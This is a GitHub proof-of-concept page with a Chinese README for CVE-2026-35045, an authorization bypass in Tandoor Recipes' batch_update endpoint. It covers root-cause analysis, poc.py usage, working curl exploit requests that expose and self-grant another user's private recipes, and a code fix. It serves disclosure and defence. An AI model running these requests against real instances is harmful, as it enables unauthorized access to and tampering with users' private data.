FilipeGaudard/CVE-2026-35045-PoC

GitHub: FilipeGaudard/CVE-2026-35045-PoC

针对Tandoor Recipes应用CVE-2026-35045对象级授权绕过漏洞的概念验证工具,利用DRF批量端点权限检查缺陷实现越权操作。

Stars: 1 | Forks: 1

# CVE-2026-35045 — Tandoor Recipes 中的对象级授权失效

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure

## 概述 Tandoor Recipes v2.6.1 中的 `PUT /api/recipe/batch_update/` 端点允许 **Space 内的任何经过身份验证的用户** 修改该 Space 中的任何配方 —— 包括其他用户拥有的私有配方。这完全绕过了在所有标准单一配方端点上执行的对象级授权检查。 **根本原因是 Django REST Framework 的一个行为差异**:`detail=False` 的列表动作(list-actions)永远不会调用 `has_object_permission()`,只会调用 `has_permission()`。查询集(queryset)仅按 `space=request.space` 进行过滤,未检查 `created_by`、`private` 或 `shared` 列表。攻击者可以强制公开私有配方、自我授予持久访问权限、撤销其他用户的权限以及篡改元数据 —— 所有这些都可以在看似未经身份验证的 API 调用中完成,该调用返回带有空主体的 `HTTP 200 OK`。 ## 漏洞详情 | 字段 | 值 | |---|---| | **CVE ID** | CVE-2026-35045 | | **GHSA** | [GHSA-v8x3-w674-55p5](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-v8x3-w674-55p5) | | **CWE** | [CWE-639](https://cwe.mitre.org/data/definitions/639.html) — 通过用户控制键绕过授权 | | **CVSS v3.1** | **8.1 HIGH** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **受影响版本** | Tandoor Recipes ≤ 2.6.1 | | **供应商** | [TandoorRecipes/recipes](https://github.com/TandoorRecipes/recipes) | ### MITRE ATT&CK 映射 | 技术 ID | 名称 | 相关性 | |---|---|---| | [T1078](https://attack.mitre.org/techniques/T1078/) | 有效账户 | 攻击者使用合法的低权限凭证绕过授权 | | [T1565.001](https://attack.mitre.org/techniques/T1565/001/) | 存储数据操纵 | 修改其他用户拥有的私有配方和 ACL | ## 根本原因分析 ### 1. `detail=False` 绕过对象级权限检查 **文件:** `cookbook/views/api.py` ``` @decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer) def batch_update(self, request): serializer = self.serializer_class(data=request.data, partial=True) if serializer.is_valid(): recipes = Recipe.objects.filter( id__in=serializer.validated_data['recipes'], space=self.request.space # ← No created_by or private check ) ``` 在 Django REST Framework 中,注册为 `detail=False` 的动作是列表动作。它们**从不调用 `get_object()`**,这意味着 `check_object_permissions()` 和 `CustomRecipePermission.has_object_permission()` 永远不会被调用。只有 `has_permission()` 会运行 —— 它只验证 Space 成员资格,而不验证配方所有权。 ### 2. 标准端点受到正确保护 `PUT /api/recipe/{id}/` 遵循完整的 DRF 权限流程: ``` get_object() → check_object_permissions() → CustomRecipePermission.has_object_permission() → denies access if recipe is private and not owned/shared with requester ``` `batch_update` 端点静默地跳过了这整个链条。 ### 3. 通过批量操作可写的字段 `RecipeBatchUpdateSerializer` 公开以下字段 —— 可在 Space 中的**任何**配方上写入: | 字段 | 效果 | |---|---| | `private` | 切换配方可见性 | | `shared_add` / `shared_remove` / `shared_set` | 操纵访问控制列表 | | `keywords_add` / `keywords_remove` / `keywords_set` | 更改配方元数据 | | `working_time` / `waiting_time` | 修改配方时间数据 | ## 攻击流程 ``` ┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐ │ Attacker │ ─────────────────────────────────────→│ Tandoor Server │ │ (User B) │ {"recipes":[2],"private":false, │ │ │ │ "shared_add":[2]} │ has_permission()│ └──────────┘ │ ✓ (Space member)│ │ │ │ has_object_ │ │ permission() │ │ ✗ NEVER CALLED │ └────────┬────────┘ │ ② Recipe.objects.filter( id__in=[2], space=request.space ) ← No ownership check │ ▼ ┌────────────────┐ │ Recipe ID 2 │ │ (owned by A) │ │ private=false ← patched │ shared=[2] ← self-granted └────────┬───────┘ │ ③ HTTP 200 OK — {} │ ▼ ┌────────────────┐ │ Attacker (B) │ │ now has full │ │ access to │ │ Recipe ID 2 │ └────────────────┘ ``` ## 概念验证 ### 环境要求 - Python 3.10+ - `requests` 库 ``` pip install requests ``` ### 使用方法 ``` # 强制公开私有配方并授予自己访问权限(默认) python3 poc.py --url http://127.0.0.1:8085 \ --username userB --password passB \ --recipe-id 2 \ --attacker-user-id 2 # 仅强制公开(设置 private=false) python3 poc.py --url http://127.0.0.1:8085 \ --username userB --password passB \ --recipe-id 2 \ --attacker-user-id 2 \ --action expose # 仅授予自己权限(添加到共享列表,保持 private=true) python3 poc.py --url http://127.0.0.1:8085 \ --username userB --password passB \ --recipe-id 2 \ --attacker-user-id 2 \ --action self_grant ``` ### 模块 / 动作 | 动作 | 描述 | |---|---| | `expose` | 将目标配方的 `private` 设置为 `false` —— 强制对所有 Space 成员可见 | | `self_grant` | 将攻击者的用户 ID 添加到 `shared_add` —— 即使配方保持私有也能获得持久访问权限 | | `both` | 在单个请求中运行这两个动作(默认) | ### 手动验证 (curl) **1. 前置条件 —— 通过标准端点无法访问配方** ``` curl -s -o /dev/null -w "%{http_code}" \ http://TARGET:8085/api/recipe/2/ \ -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B" # 预期:404(私有,非所有者) ``` **2. 利用 —— 无授权的 batch_update** ``` curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \ -H 'Content-Type: application/json' \ -H 'X-CSRFToken: CSRF_B' \ -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \ -d '{"recipes": [2], "shared_add": [2], "private": false}' # 预期:HTTP 200 OK — {} ``` **3. 后置条件 —— 配方现在可访问** ``` curl -s http://TARGET:8085/api/recipe/2/ \ -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B" # 预期:HTTP 200 包含配方数据,private=false ``` **4. 通过配方列表验证** ``` curl -s 'http://TARGET:8085/api/recipe/' \ -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \ | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]" # 预期:2 False ``` ## 影响 | 影响领域 | 描述 | 严重程度 | |---|---|---| | **强制配方公开** | 将 `private` 设置为 `false` 会使任何配方对所有 Space 成员可见 | **高** | | **未经授权的自我授权** | 通过 `shared_add` 添加自己的用户 ID 可授予对任何配方的持久读/写访问权限 | **高** | | **访问权限撤销** | 使用 `shared_remove` 或 `shared_set` 从配方的共享列表中移除合法用户 | **高** | | **元数据篡改** | 修改其他用户拥有的配方上的 `working_time`、`waiting_time` 和 `keywords` | **中** | ## 补救措施 ### 即时修复 通过 `created_by=request.user` 过滤查询集,以将批量操作限制为拥有的配方: ``` @decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer) def batch_update(self, request): serializer = self.serializer_class(data=request.data, partial=True) if serializer.is_valid(): recipes = Recipe.objects.filter( id__in=serializer.validated_data['recipes'], space=self.request.space, created_by=self.request.user, # ← Fix: restrict to owned recipes ) ``` ### 深度防御 如果 Space 管理员需要批量更新任何配方的能力,请添加基于角色的条件判断: ``` if is_space_owner(request.user, request.space): recipes = Recipe.objects.filter( id__in=serializer.validated_data['recipes'], space=self.request.space, ) else: recipes = Recipe.objects.filter( id__in=serializer.validated_data['recipes'], space=self.request.space, created_by=self.request.user, ) ``` ### DRF 通用指南 任何操作单个对象的 `detail=False` 动作**必须手动执行对象级授权**。DRF 的 `has_object_permission()` 永远不会为列表动作调用 —— 此责任完全在于开发人员。 ## 参考 - [GHSA-v8x3-w674-55p5](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-v8x3-w674-55p5) - [CVE-2026-35045](https://www.cve.org/CVERecord?id=CVE-2026-35045) - [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [DRF — Custom Actions & Permission Checks](https://www.django-rest-framework.org/api-guide/viewsets/#marking-extra-actions-for-routing) - [OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/) - [MITRE ATT&CK T1078 — Valid Accounts](https://attack.mitre.org/techniques/T1078/) - [MITRE ATT&CK T1565.001 — Stored Data Manipulation](https://attack.mitre.org/techniques/T1565/001/) ## 免责声明 此概念验证仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。作者不对本工具的滥用承担任何责任。 ## 作者 **Filipe Gaudard** — 进攻安全研究员 | eWPT | eWPTx - GitHub: [@FilipeGaudard](https://github.com/FilipeGaudard) - LinkedIn: [Filipe Gaudard](https://www.linkedin.com/in/filipegaudard/)
标签:API 安全, BOLA, Broken Object-Level Authorization, CSV导出, CVE-2026-35045, CWE-639, Django REST Framework, GHSA-v8x3-w674-55p5, IDOR, PyPI 组件, Python脚本, Tandoor Recipes, 协议分析, 批量更新接口, 授权绕过, 权限提升, 越权漏洞, 逆向工具, 食谱管理